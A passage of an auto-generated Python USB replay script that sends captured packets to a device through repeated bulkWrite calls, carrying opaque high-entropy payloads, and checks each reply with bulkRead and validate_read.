b\"\\x58\\xFB\\x67\\x22\\x6F\\xF5\\x20\\x45\\xE6\\x40\\x9A\\x48\\x0E\\x23\\x30\\x4B\"\n b\"\\x85\\x5C\\xE8\\xBD\\x98\\x73\\xF2\\x54\\x98\\xC9\\x88\\x34\\x59\\x18\\xBC\\xA0\"\n b\"\\x02\\xC3\\xC2\\x81\\xD6\\x42\\x42\\x2F\\x12\\x8A\\x8D\\x42\\x45\\x8F\\xE1\\x70\"\n b\"\\x55\\x7D\\x01\\x0B\\x66\\xA9\\x5A\\xC9\\x89\\xFB\\x41\\x74\")\n # Generated from packet 523/524\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 523/524\")\n # Generated from packet 525/526\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\x66\\x1A\\x8F\\xCA\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\xFF\\xE6\\x28\\x20\\x05\\x12\\xE3\"\n b\"\\x17\\xC5\\xD5\\x92\\xD7\\x62\\xFB\\xC5\\xF9\\x43\\x60\\x02\\x1D\\xBE\\xAE\\x79\"\n b\"\\xEA\\xAF\\xD7\\xA5\\xE7\\x06\\xC1\\x3C\\xF7\\x19\\x1E\\xD1\\xAF\\xAC\\xF4\\x05\"\n b\"\\x51\\x2F\\xA0\\x6D\\xEF\\xA9\\x40\\xA6\\xCB\\x3A\\xD3\\xA4\\x4B\\xB9\\x3D\\x57\"\n b\"\\xC7\\x34\\xC3\\x33\\xDC\\x6B\\x0A\\x13\\x86\\x22\\x4F\\x8F\\xEC\\x9B\\x5C\\x90\"\n b\"\\x74\\xBD\\x2D\\x43\\x3E\\x17\\xE4\\x64\\x37\\x74\\xF8\\x8C\\x24\\x94\\xC9\\x20\"\n b\"\\x23\\xAE\\x32\\x85\\xDC\\xE5\\x69\\x60\\x99\\xEA\\x5C\\xE9\\x15\\xDC\\x45\\xCE\"\n b\"\\x1C\\xDE\\xF8\\xA4\\x75\\x89\\x4E\\x07\\xC7\\xE0\\xAE\\x0E\\x6A\\x44\\xB5\\x91\"\n b\"\\xDB\\x4C\\x54\\xCB\\x7D\\x64\\x9F\\xEF\\x63\\x62\\x21\\x21\\x7D\\x5E\\x71\\xBF\"\n b\"\\x5E\\xC5\\x29\\xBD\\x61\\xEC\\xC9\\x82\\x15\\x48\\x64\\x94\\x9A\\xE8\\x71\\x16\"\n b\"\\x07\\x43\\x61\\x96\\x9D\\x9F\\x37\\x90\\x64\\x0A\\x14\\x56\\xA8\\xB4\\xF6\\xED\"\n b\"\\xDD\\x51\\xE3\\x26\\x22\\xB3\\x60\\x5C\\x91\\xD8\\xB0\\xA0\\x07\\x8A\\x17\\xAB\"\n b\"\\x9E\\x64\\x63\\xE8\\xA6\\xD0\\x6D\\x5A\\x78\\x9C\\x08\\x4A\\xA4\\x96\\x39\\x7C\"\n b\"\\x8A\\xC9\\xD1\\xFB\\xAB\\xFB\\x26\\xF1\\xA7\\x35\\xC8\\x3E\\x4B\\xF7\\x3A\\x53\"\n b\"\\x2A\\xCE\\x19\\x52\\x40\\xB6\\x57\\xAB\\x65\\x8F\\xBB\\xB3\\x40\\x52\\x9B\\x73\"\n b\"\\x6A\\x6E\\xD8\\x9B\\x27\\x78\\x50\\x67\\xE2\\x65\\xB7\\x25\\x84\\x26\\x62\\x1A\"\n b\"\\x55\\x6B\\x2C\\x7D\\xB8\\x8B\\xDF\\xEA\\x2E\\x70\\x18\\xBB\")\n # Generated from packet 527/528\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 527/528\")\n # Generated from packet 529/530\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9E\\x4D\\x95\\x27\\x99\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\x36\\x70\\x45\\x7D\\xCF\\x2E\\x05\"\n b\"\\x32\\xB0\\x66\\x2C\\x31\\x2C\\x55\\x3A\\xAC\\x70\\x09\\xE1\\x8E\\x4A\\x78\\x86\"\n b\"\\x3D\\x81\\x34\\xD3\\x85\\xC5\\xE1\\xB1\\x7B\\x91\\x8D\\x1E\\xF8\\xFB\\x71\\x88\"\n b\"\\x3A\\x4E\\xC1\\x64\\xDD\\x0A\\x7E\\xFF\\x76\\x4A\\xFF\\x89\\x88\\x7B\\x00\\xDD\"\n b\"\\x7E\\xF9\\xC0\\x95\\x2D\\x1C\\x63\\x04\\x52\\x67\\x5B\\x6E\\x51\\x4A\\xDC\\xF4\"\n b\"\\x2D\\x36\\x53\\x6B\\x7A\\xAA\\xD5\\xE8\\x8C\\xE4\\x00\\x61\\x69\\x74\\xF0\\x0F\"\n b\"\\xE2\\x78\\x41\\xD6\\x3C\\xB2\\x2C\\x82\\x75\\xE4\\xFC\\x18\\xF8\\x78\\x2A\\xF3\"\n b\"\\x2B\\x81\\xDB\\x82\\xE7\\x7F\\xE1\\xB1\\xAA\\xB6\\xC9\\x77\\x5D\\x99\\xD6\\x04\"\n b\"\\x97\\xF0\\x0E\\x2A\\x41\\xBE\\x00\\xD9\\x60\\x29\\x51\\x70\\x7D\\xEF\\xA7\\x87\"\n b\"\\xD5\\x11\\xB6\\x0C\\xEF\\x9A\\x2D\\x3A\\xBC\\x3E\\xA4\\xCF\\x15\\x5F\\x4C\\xAD\"\n b\"\\x60\\x80\\xC6\\xA8\\xFE\\x1B\\x4C\\x3B\\x6C\\x08\\x74\\x0B\\xFE\\x97\\xB2\\x43\"\n b\"\\xDF\\x2C\\x23\\x0B\\xB9\\x26\\x99\\xA9\\xC7\\x26\\xEC\\xAE\\x5F\\x71\\x60\\x4A\"\n b\"\\xCE\\xA2\\x47\\xE2\\xE4\\x92\\xD2\\x71\\x25\\xB2\\x96\\x3C\\x84\\x93\\xF3\\x24\"\n b\"\\xA2\\x49\\x33\\x87\\xD3\\x75\\xE3\\xAD\\xA5\\x7B\\x56\\x89\\x01\\x47\\x1A\\x3B\"\n b\"\\xCC\\x75\\x96\\x2B\\x6F\\xCF\\xE2\\x0D\\x1D\\xA0\\x38\\xD7\\xCD\\x5B\\xA0\\xD4\"\n b\"\\x3F\\xD9\\x55\\x84\\x42\\xC6\\xEB\\x4A\\x42\\x6A\\xC0\\x31\\x81\\x60\\x0D\\x8D\"\n b\"\\xAD\\x9C\\x85\\x7D\\xEC\\x6D\\xD2\\x23\\x54\\x96\\x15\\x07\")\n # Generated from packet 531/532\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 531/532\")\n # Generated from packet 533/534\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4D\\x13\\x55\\xAA\\x02\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5D\\x75\\x04\\xE5\\x35\\x00\\x6B\\x2D\"\n b\"\\xE2\\x20\\x63\\xF8\\x82\\xE1\\x51\\x07\\xD7\\x93\\xE9\\x45\\x99\\xDE\\x9B\\x26\"\n b\"\\x5E\\x67\\x95\\x2D\\xC2\\x49\\x5D\\x61\\x3F\\x86\\xBD\\xC1\\x22\\x64\\xF9\\x9B\"\n b\"\\x90\\xC3\\x16\\xBA\\x89\\x1D\\x6D\\x19\\x91\\x3D\\xF0\\xFC\\xE1\\x92\\x7C\\x41\"\n b\"\\x42\\xFD\\x3D\\x5F\\x1C\\x3B\\xED\\xFD\\xA2\\x4C\\x8C\\x03\\xCC\\xC2\\x06\\x06\"\n b\"\\x3F\\x09\\x49\\x8C\\x81\\x8D\\x8A\\xEF\\x57\\x90\\xA9\\x18\\xDF\\xBF\\xC2\\x77\"\n b\"\\x57\\x02\\x07\\x6F\\xC9\\x39\\x3E\\x7F\\x46\\x30\\xB4\\xDF\\xC0\\xA3\\x9D\\x7B\"\n b\"\\x2D\\x59\\x8D\\xF7\\xAB\\x8E\\xCB\\xEC\\x21\\x03\\x76\\xBE\\xBD\\x98\\x34\\x1D\"\n b\"\\xF3\\x28\\xD4\\x2E\\x4D\\xE7\\x72\\xFE\\xDF\\xE3\\xD1\\x39\\x54\\xDF\\x03\\x82\"\n b\"\\x3A\\xBC\\x56\\x57\\x68\\x0D\\x3E\\xE5\\x74\\xF5\\x53\\x2E\\x20\\xC9\\x63\\x9B\"\n b\"\\xCD\\xC2\\x3D\\x76\\xA9\\x2F\\xA1\\x3E\\xF5\\xAB\\xD7\\x89\\x80\\xB6\\x1C\\xD7\"\n b\"\\x90\\x93\\x32\\x8E\\x09\\x6F\\xB9\\x9A\\x7B\\xF4\\x51\\xFC\\x87\\x38\\xAC\\xF5\"\n b\"\\x02\\x14\\x0D\\x02\\x35\\xDD\\x3F\\xE5\\x23\\x92\\x78\\xB4\\x58\\xCF\\x51\\x1C\"\n b\"\\xB8\\x8E\\x10\\x3C\\x36\\x32\\xA6\\xBC\\xF1\\xF9\\xA8\\x3C\\xA9\\x33\\x5F\\x84\"\n b\"\\xA5\\x09\\x24\\xA2\\x53\\x31\\x25\\x79\\x46\\xCE\\xF7\\x41\\xDF\\x67\\x99\\xC6\"\n b\"\\xE9\\x1C\\x2D\\x55\\xAB\\x10\\x19\\x73\\xB2\\x67\\x06\\xBF\\x6E\\xBB\\x20\\xC8\"\n b\"\\xE6\\xD3\\x23\\x51\\x4B\\x38\\x6F\\x13\\x5E\\x6A\\x53\\x85\")\n # Generated from packet 535/536\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 535/536\")\n # Generated from packet 537/538\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\x26\\x47\\xB8\\xB9\\x7B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x55\\x66\\xAA\\xA4\\x50\\x30\\x21\\xB7\"\n b\"\\xDE\\xC5\\x9B\\x0E\\xBC\\xBB\\x1C\\x2A\\x55\\x02\\x3B\\x5D\\x1B\\x7F\\xC7\\x09\"\n b\"\\xF5\\xA1\\x5F\\x59\\xD4\\x4C\\x63\\x1B\\x7F\\xB4\\x1C\\xDD\\xF7\\x41\\xA6\\x12\"\n b\"\\x29\\x3E\\x79\\xBA\\x06\\xD0\\x46\\xA4\\xBC\\x91\\xC0\\x0F\\x2C\\x10\\x5B\\x2E\"\n b\"\\xB8\\x2E\\x93\\x4A\\x88\\x59\\x9B\\xB9\\x19\\xC3\\x18\\x6A\\x3F\\x42\\xBA\\xC9\"\n b\"\\xEC\\x69\\x42\\x98\\x89\\x46\\xAF\\x00\\x9B\\x7B\\xF0\\xA4\\x0D\\x44\\xD3\\x69\"\n b\"\\x11\\x4A\\xAD\\xD4\\x96\\x32\\xC6\\x9A\\xCA\\xCE\\x39\\x9F\\xBE\\x31\\x1D\\x9B\"\n b\"\\xDE\\x0D\\x37\\x20\\xEF\\x4C\\x87\\x77\\xFE\\xF4\\xF5\\x48\\x60\\x9E\\xFE\\xD9\"\n b\"\\x25\\x12\\x5F\\x2E\\xFE\\xC3\\x01\\xE2\\x25\\xB9\\xB3\\xC7\\x42\\x62\\x00\\x7F\"\n b\"\\x3C\\x64\\x30\\x0F\\x55\\x63\\xFD\\x32\\x42\\x02\\xC9\\x5B\\x36\\x22\\x0B\\x71\"\n b\"\\xDE\\x52\\x6C\\x4A\\x75\\x86\\xA2\\x1E\\x66\\x85\\xAF\\xA5\\x51\\x09\\xF4\\x8E\"\n b\"\\x89\\x9E\\x71\\x92\\x4C\\x48\\x0C\\x55\\xCF\\x8B\\x70\\xEE\\x99\\x9D\\x55\\x48\"\n b\"\\xD0\\x1D\\x72\\x5D\\xD4\\x9C\\x19\\x76\\xAE\\x8E\\xBD\\x6B\\x45\\xC2\\xC9\\x0A\"\n b\"\\xC7\\xE3\\xE5\\xD4\\x1B\\x98\\x7F\\x32\\x95\\x65\\xF8\\xC1\\x69\\x00\\x41\\xB8\"\n b\"\\x2A\\x68\\x04\\x09\\x14\\x44\\xFE\\x63\\xD1\\x77\\xF4\\x05\\x7D\\xF4\\x22\\x56\"\n b\"\\x17\\x92\\x35\\xF1\\xE6\\x02\\x83\\xF2\\x38\\xF3\\x95\\x07\\x74\\x37\\x34\\xD9\"\n b\"\\xE1\\x52\\xD7\\xBB\\x0B\\xA7\\xD2\\x63\\x41\\x12\\x7F\\x12\")\n # Generated from packet 539/540\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 539/540\")\n # Generated from packet 541/542\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD5\\x00\\x1F\\x24\\x72\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xA6\\x9D\\x53\\xB4\\x46\\xD8\\x76\"\n b\"\\xF9\\x1C\\x77\\x4F\\x43\\xE9\\x66\\x46\\x9C\\xDE\\x4F\\x91\\x59\\x50\\x2B\\x1A\"\n b\"\\xC3\\x61\\x23\\x69\\xAF\\x78\\xA0\\xED\\x33\\x53\\x94\\xAF\\x20\\xAB\\xB0\\xD5\"\n b\"\\x5E\\x0C\\x2B\\xB7\\x52\\x3A\\x96\\x66\\x79\\xA2\\xF2\\x46\\x48\\x55\\x74\\x8C\"\n b\"\\xE2\\x3D\\xFB\\x6C\\x80\\xA0\\x11\\xF2\\x28\\x75\\x5D\\x4B\\x1D\\xDE\\xF0\\x4D\"\n b\"\\x7A\\xBA\\x90\\x2C\\xEE\\xF2\\x63\\xD0\\xA0\\xA8\\x33\\x07\\x4E\\x22\\xE5\\xBF\"\n b\"\\x35\\xC3\\x38\\xDD\\xED\\x86\\x8B\\x8E\\xEB\\xCA\\xC4\\x9D\\xF2\\x28\\xD7\\x60\"\n b\"\\x97\\xF3\\xCA\\xBE\\x31\\x7D\\xDB\\xD5\\x4A\\xE4\\xFF\\x43\\xA9\\x5B\\x4F\\x15\"\n b\"\\xBC\\x14\\x6E\\x5F\\xD8\\x82\\xAF\\x2F\\x0A\\xB6\\x84\\xD8\\x65\\x5B\\x9F\\x6F\"\n b\"\\xB8\\x99\\xA5\\x28\\x5A\\x97\\x45\\x7D\\xDC\\xD4\\xB6\\xC8\\x41\\x5C\\xCE\\xFC\"\n b\"\\xDA\\x1C\\x21\\xF3\\xCD\\xA1\\x8F\\x73\\x56\\xEA\\x7E\\x59\\xC9\\x57\\x7F\\x2F\"\n b\"\\x0E\\x67\\x17\\x38\\x29\\x89\\xF2\\x38\\xE1\\xDC\\x5D\\xBC\\xE3\\x22\\x74\\xC9\"\n b\"\\xFB\\xB4\\xB8\\x27\\xDA\\x9C\\x95\\xD5\\x34\\xD1\\x40\\x6E\\x1B\\x23\\x8A\\x3B\"\n b\"\\x62\\xCA\\xE9\\x59\\x48\\xC4\\xB5\\x85\\xAF\\x64\\xDC\\x1B\\xE9\\x0F\\x6C\\x19\"\n b\"\\xBD\\x4A\\x32\\xCA\\x50\\x55\\x08\\xC7\\xD5\\xC1\\x5C\\x09\\xF4\\x25\\xA3\\x53\"\n b\"\\xE0\\x66\\x0A\\x15\\xC5\\x91\\xDC\\xDB\\x76\\x47\\xE2\\xEE\\x34\\x08\\x71\\x61\"\n b\"\\x90\\x93\\x2B\\x33\\x97\\xF2\\x9E\\x5A\\xD7\\x9B\\x69\\xD5\")\n # Generated from packet 543/544\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 543/544\")\n # Generated from packet 545/546\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\xE2\\xC8\\xA6\\x9D\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC5\\x3B\\xAE\\x61\\x89\\x9E\\x17\\xD7\"\n b\"\\x9B\\x6D\\x22\\x0F\\x29\\xD3\\xD0\\x70\\xAB\\xC4\\x11\\x4A\\x60\\x8B\\xEA\\xF7\"\n b\"\\x3F\\xDB\\x9B\\xD4\\xA5\\x31\\x05\\x70\\x75\\xCA\\x01\\xBB\\x27\\x1C\\xEE\\x3C\"\n b\"\\xAB\\xB9\\x34\\x53\\xA9\\x7E\\xD8\\xE2\\x20\\x3D\\xB5\\x8D\\xC6\\x60\\x7D\\x92\"\n b\"\\xD9\\xB4\\xA7\\xFF\\x8C\\x7D\\xFE\\x22\\x02\\x0D\\xAE\\xA9\\xA6\\x3B\\x2C\\x68\"\n b\"\\x47\\x43\\xD3\\x8A\\x59\\x6E\\xED\\xD4\\x97\\x95\\x01\\x3B\\x6E\\xD0\\x79\\x45\"\n b\"\\xAA\\x28\\x77\\xD4\\x79\\x91\\xA4\\x2C\\x1D\\xBD\\x18\\xB7\\x13\\x52\\xD7\\x68\"\n b\"\\xEA\\xD9\\xBF\\x6D\\x3D\\x3E\\xEF\\x47\\xAF\\x35\\xC3\\xFA\\x49\\x3E\\x70\\x2B\"\n b\"\\x57\\x1B\\x1D\\x9B\\x18\\x4B\\x13\\x4D\\x67\\x70\\x59\\xEF\\xD5\\x41\\x1B\\x65\"\n b\"\\xFE\\xB9\\xCA\\xB3\\x3C\\x79\\x5D\\xFC\\x8A\\xA9\\xA0\\x07\\xEC\\xBA\\x5C\\xF4\"\n b\"\\xC2\\xFC\\x38\\xE2\\xA9\\xB1\\x91\\x3A\\xBC\\x26\\x92\\x58\\x5C\\x59\\x12\\x5E\"\n b\"\\xA6\\xC8\\xF6\\xD4\\x85\\xAE\\x1D\\x06\\xDF\\xBE\\x66\\xBE\\x80\\xE2\\xAB\\x91\"\n b\"\\x6F\\x20\\x18\\x23\\xEA\\x5F\\xA1\\x88\\x62\\x48\\x47\\x01\\x38\\x70\\x23\\x95\"\n b\"\\x61\\x41\\x79\\x6C\\xD7\\x13\\x2B\\xB0\\xB8\\x10\\xC4\\x7D\\x8F\\x3E\\x63\\x5C\"\n b\"\\xEF\\xBD\\x49\\xE0\\xC1\\xF1\\x52\\x44\\x65\\x8A\\x4E\\x15\\xE2\\x3A\\xC4\\x5D\"\n b\"\\xBF\\x44\\xFF\\x1E\\x30\\xFD\\xD8\\xD2\\x61\\x22\\x10\\x8C\\x7F\\xD8\\x28\\xF7\"\n b\"\\x64\\xF6\\x03\\xA1\\xDE\\x97\\xED\\x09\\xD8\\x3C\\x90\\xEB\")\n # Generated from packet 547/548\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 547/548\")\n # Generated from packet 549/550\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA3\\x84\\x8F\\x94\\x49\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC6\\x0B\\x7F\\x5C\\xA8\\x7A\\xF5\\xCE\"\n b\"\\x53\\x3A\\xAF\\x5A\\xD5\\xED\\x15\\x56\\x64\\x11\\xFF\\xF2\\x42\\xC3\\x30\\xA6\"\n b\"\\x61\\x7A\\x77\\x4F\\x28\\x2E\\xF5\\x06\\x72\\x3A\\xC9\\x7A\\xF5\\x16\\x15\\xB2\"\n b\"\\xEC\\xEC\\x95\\xAA\\x71\\x04\\x08\\x9A\\xEB\\x2D\\xC6\\xE3\\x3A\\x06\\x60\\xC6\"\n b\"\\xF7\\x91\\xDF\\xC9\\x60\\x4A\\x0B\\xD2\\xE8\\xE2\\xA3\\x0E\\x0D\\x81\\xA1\\x7A\"\n b\"\\x1C\\x7D\\x7F\\x89\\x0B\\x1F\\xBB\\xBB\\x02\\x91\\x54\\xCB\\x8A\\x1A\\x2D\\x71\"\n b\"\\x33\\xD8\\xF4\\x5D\\xF5\\xEB\\x09\\xE8\\xC7\\x4C\\x7F\\xAD\\xF5\\x6E\\x44\\xF6\"\n b\"\\x3B\\x05\\xDA\\xF2\\x92\\xA7\\x0F\\x16\\x5F\\xF5\\x12\\x2B\\xD8\\x24\\xEF\\xAD\"\n b\"\\xE8\\xFF\\xC2\\xD3\\x9C\\x5D\\x1A\\xA5\\x2D\\x00\\xAF\\x60\\xBC\\xBF\\xD4\\x98\"\n b\"\\x96\\x87\\x65\\x1F\\x08\\xE5\\x92\\x8E\\xB5\\xC2\\xE6\\x7C\\x6A\\xCB\\x82\\x06\"\n b\"\\x25\\x4E\\xA5\\x36\\xC0\\xC7\\xEF\\x5D\\x6D\\x5E\\x5A\\x62\\x80\\x30\\xC5\\xD9\"\n b\"\\x29\\x20\\x57\\x85\\x76\\xF3\\x8D\\xEE\\x52\\x89\\xEC\\x95\\x35\\xF4\\x93\\x0F\"\n b\"\\x55\\x05\\xEB\\x79\\xBB\\xAD\\x1C\\xD6\\xC7\\x27\\x38\\xBA\\xEE\\xAB\\xFC\\xF1\"\n b\"\\x05\\x18\\xCC\\x9F\\xA5\\x3F\\x74\\xA5\\x6A\\x6D\\x57\\x94\\x8E\\xFF\\xFC\\x6E\"\n b\"\\x0D\\x3E\\x4A\\x51\\x6B\\xC0\\xDF\\x04\\x38\\x6D\\x43\\xBB\\x88\\x2E\\xA8\\x37\"\n b\"\\x02\\xAE\\xD4\\x40\\xFF\\x06\\x5D\\x23\\x7B\\x19\\xA1\\x0D\\xAB\\xE3\\xD6\\x1A\"\n b\"\\x88\\x66\\xA3\\xAD\\x7E\\xCB\\x83\\x33\\xCE\\x15\\x30\\xD6\")\n # Generated from packet 551/552\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 551/552\")\n # Generated from packet 553/554\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFA\\xB0\\x85\\x47\\x2C\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB1\\x3D\\xC8\\x75\\x26\\x20\\xDC\\x10\"\n b\"\\x75\\x10\\x37\\x78\\xFB\\xEE\\xF5\\x05\\xCD\\x32\\xAA\\x5D\\xD8\\xEB\\x64\\x32\"\n b\"\\x90\\x2A\\xF9\\xC4\\x56\\x9D\\x9F\\xC2\\xF0\\x1E\\x6A\\x9D\\x49\\x17\\xC4\\xD9\"\n b\"\\xA5\\xF1\\x3E\\xB4\\x22\\x50\\x2D\\xA0\\xDA\\x6F\\xCE\\x79\\x35\\x36\\x97\\x36\"\n b\"\\x2A\\x23\\x5D\\x06\\xA3\\x61\\xCE\\xD9\\x09\\x42\\xC7\\xEE\\xEA\\x30\\x05\\xF2\"\n b\"\\x4F\\xBB\\x37\\x53\\x52\\x18\\xED\\x98\\xB1\\x9D\\xAA\\x96\\x87\\xD2\\x72\\x5F\"\n b\"\\x53\\xFC\\x5D\\x1E\\x76\\xAC\\xDF\\xC9\\xCC\\x69\\x19\\x96\\x4C\\xE1\\xE2\\x56\"\n b\"\\xE3\\x92\\x3E\\x8A\\xBB\\xE5\\x3E\\xF1\\x3E\\x9D\\x4D\\x83\\x17\\x24\\x93\\x1C\"\n b\"\\x04\\xA9\\x9D\\x53\\x7B\\x8B\\x1B\\x00\\x7D\\xFB\\xCC\\x78\\xB7\\xEF\\xD7\\x41\"\n b\"\\x5C\\x4D\\xC6\\xB6\\xD6\\x24\\xA7\\xF2\\x59\\xCD\\x0C\\x16\\x69\\x96\\x51\\x23\"\n b\"\\x81\\xC7\\x46\\x22\\x33\\x98\\xC8\\xBE\\xE4\\x5A\\x6E\\xD6\\xEC\\xBC\\xBD\\x47\"\n b\"\\x02\\xBC\\x36\\xF8\\x7E\\x5B\\xC3\\x4F\\x42\\x2E\\xE8\\x3D\\x03\\x15\\xC7\\x98\"\n b\"\\x06\\x2C\\x25\\xDD\\x85\\xAA\\x70\\x0A\\xCB\\xC5\\x0E\\x2D\\xB3\\xE1\\x7F\\x58\"\n b\"\\x55\\x13\\xFD\\xBA\\x57\\x5F\\xE6\\x45\\x89\\x88\\x98\\xA7\\xDE\\x7D\\x29\\x3D\"\n b\"\\xCF\\xFC\\x3F\\x66\\x07\\x53\\x90\\x31\\xBF\\x7E\\x41\\xE4\\x75\\x13\\x0E\\x94\"\n b\"\\x8C\\x80\\x92\\xD1\\xA9\\x93\\x61\\x8F\\x37\\xDC\\xD0\\x7F\\x96\\x16\\x3F\\x0C\"\n b\"\\xD4\\xE4\\x98\\xDA\\x99\\x77\\x27\\x8E\\x8F\\x83\\xB9\\x24\")\n # Generated from packet 555/556\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 555/556\")\n # Generated from packet 557/558\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x2B\\xC7\\x56\\x80\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x03\\x52\\xCA\\x0E\\xA9\\x22\\xD8\"\n b\"\\x7C\\xE3\\x01\\xFE\\xD6\\xE4\\x8E\\x95\\xC8\\x1E\\x5B\\x48\\x88\\xB2\\xF5\\x4D\"\n b\"\\x38\\x02\\x7E\\xE8\\x82\\xA3\\x7E\\x3A\\xDD\\xB6\\xA4\\x7B\\xE6\\x98\\x72\\xE1\"\n b\"\\x08\\xA3\\xDB\\xB3\\x10\\x22\\x37\\xC1\\xF7\\x2B\\x56\\x95\\xF8\\xE7\\xF7\\xB6\"\n b\"\\x11\\x70\\xC9\\x3A\\xAE\\x24\\xB3\\x6B\\xC7\\xED\\x2F\\xAB\\x76\\xC4\\xD3\\xDD\"\n b\"\\x4E\\x8D\\x72\\x1A\\x4C\\x0D\\xC8\\xBF\\x20\\x94\\x64\\xED\\xBA\\x16\\xB2\\x6A\"\n b\"\\x4C\\x11\\xF2\\xB0\\xAC\\xCE\\xDC\\xE8\\xAE\\x72\\x7E\\x0E\\x2E\\xBE\\x10\\x4A\"\n b\"\\x2B\\x12\\x96\\xDF\\x1E\\x59\\x79\\xF5\\xE8\\x42\\x4F\\x42\\x6D\\xE8\\xEE\\x11\"\n b\"\\x70\\x32\\x3B\\xD8\\x65\\xC2\\xBF\\x82\\x8C\\xBA\\x8E\\xA1\\x41\\x23\\x5B\\x04\"\n b\"\\x02\\xA1\\xA8\\x12\\x9D\\x85\\xED\\x59\\xB0\\xDF\\xAA\\x9D\\xAE\\xAE\\xE1\\x26\"\n b\"\\x9A\\x44\\xF1\\xD2\\x37\\x89\\x4E\\x2B\\xDA\\x32\\xBD\\x30\\xD2\\x94\\x8B\\x89\"\n b\"\\x22\\x28\\xBD\\x5F\\xED\\x37\\x0C\\xE3\\x39\\x75\\x70\\x9D\\x23\\xFA\\x4D\\x60\"\n b\"\\x4E\\x91\\x11\\xA7\\x55\\xF5\\x39\\x0F\\x79\\xDF\\xA4\\x52\\x21\\xE0\\xA9\\xE2\"\n b\"\\x98\\xF6\\x65\\xF4\\xD4\\x04\\x2C\\xAF\\x4A\\xF5\\xAB\\x84\\x47\\x25\\x35\\x16\"\n b\"\\xD2\\x9D\\x28\\xAA\\xFA\\xE4\\xA3\\xDF\\x23\\x40\\x6B\\x50\\xFD\\x1F\\xAE\\xAA\"\n b\"\\xF8\\x61\\xAC\\x42\\xAF\\xF0\\x75\\x07\\x9B\\xB4\\x2A\\x28\\xAC\\x99\\x24\\xF9\"\n b\"\\x71\\x33\\x41\\x23\\x2A\\x3A\\x38\\x3F\\xCD\\xB3\\xA0\\xF8\")\n # Generated from packet 559/560\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 559/560\")\n # Generated from packet 561/562\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\xB2\\xF3\\xD5\\x7E\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x68\\x3C\\x74\\x5F\\xCE\\x1F\\x64\\x38\"\n b\"\\xB2\\xB1\\xF8\\x8B\\xF1\\xEE\\x0D\\xC8\\x69\\x65\\x95\\x61\\x89\\x5E\\x2F\\xA7\"\n b\"\\xB0\\xF7\\x80\\xCE\\x61\\x62\\x3E\\x93\\xCA\\x16\\x2D\\x07\\x6E\\x8B\\xAB\\x81\"\n b\"\\x9B\\x8C\\x80\\x28\\x68\\xA1\\x85\\x6D\\x47\\x40\\x7C\\x55\\x29\\x9C\\x5A\\xA1\"\n b\"\\xF1\\xCB\\x06\\x30\\xE9\\x39\\xD1\\xF6\\xEF\\x44\\xF6\\xA5\\xCA\\xF8\\x18\\x18\"\n b\"\\x77\\x90\\x4F\\xFD\\xDA\\xD4\\x38\\xF4\\x39\\x28\\x90\\x00\\x1E\\x55\\x07\\xB3\"\n b\"\\x2F\\x55\\xE8\\x6F\\x09\\x22\\x4F\\xE9\\x8F\\x6A\\x04\\x91\\xCA\\x89\\x53\\x86\"\n b\"\\x74\\x55\\x50\\x76\\x84\\xA8\\x0D\\xBA\\x6A\\xEC\\xAB\\x45\\xAA\\xDF\\xEB\\xB3\"\n 